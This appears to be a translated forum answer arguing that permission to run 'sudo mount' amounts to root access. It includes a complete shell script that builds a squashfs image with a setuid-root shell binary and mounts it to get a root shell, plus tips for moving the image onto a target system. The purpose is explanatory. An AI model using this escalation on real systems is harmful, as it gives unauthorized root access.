Você estipula que tem permissão para executar o sudo mount com quaisquer argumentos. Nesse caso, a menos que eu entenda mal a sua pergunta, parece ser trivialmente fácil obter acesso root: basta criar uma imagem de disco que contenha um binário de raiz setuid e montá-lo com sudo mount -o loop
! Afinal, qualquer um pode criar uma imagem de disco, são apenas bytes ...
Para provar isso, aqui está um script de shell super trivial que faz isso:
#!/bin/sh
# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
execl("/bin/sh", "sh", NULL);
return 1;
}
EOF
# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc
# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint
Depois de executar isso, você pode obter um shell de root apenas executando mountpoint/runsh
.
Se você não tiver as ferramentas necessárias, como fakeroot
e mksquashfs
, basta instalá-las, e o código-fonte delas estará disponível gratuitamente. Se você não puder fazer isso, basta criar a imagem com antecedência em outro lugar e copiá-la no sistema em questão. Se o pior acontecer, você pode até mesmo codificar a imagem e colá-la na linha de comando! No meu sistema, o script acima gera uma imagem que é apenas 2600 bytes quando gzipped ( que coincidência interessante que deve ser exatamente esse número! , e tenho certeza que seria possível torná-lo ainda menor com um pouco de trabalho . Antigamente (na década de 1980, na maioria das vezes) as pessoas costumavam digitar blocos de dados maiores do que os transcritos nas revistas de programação.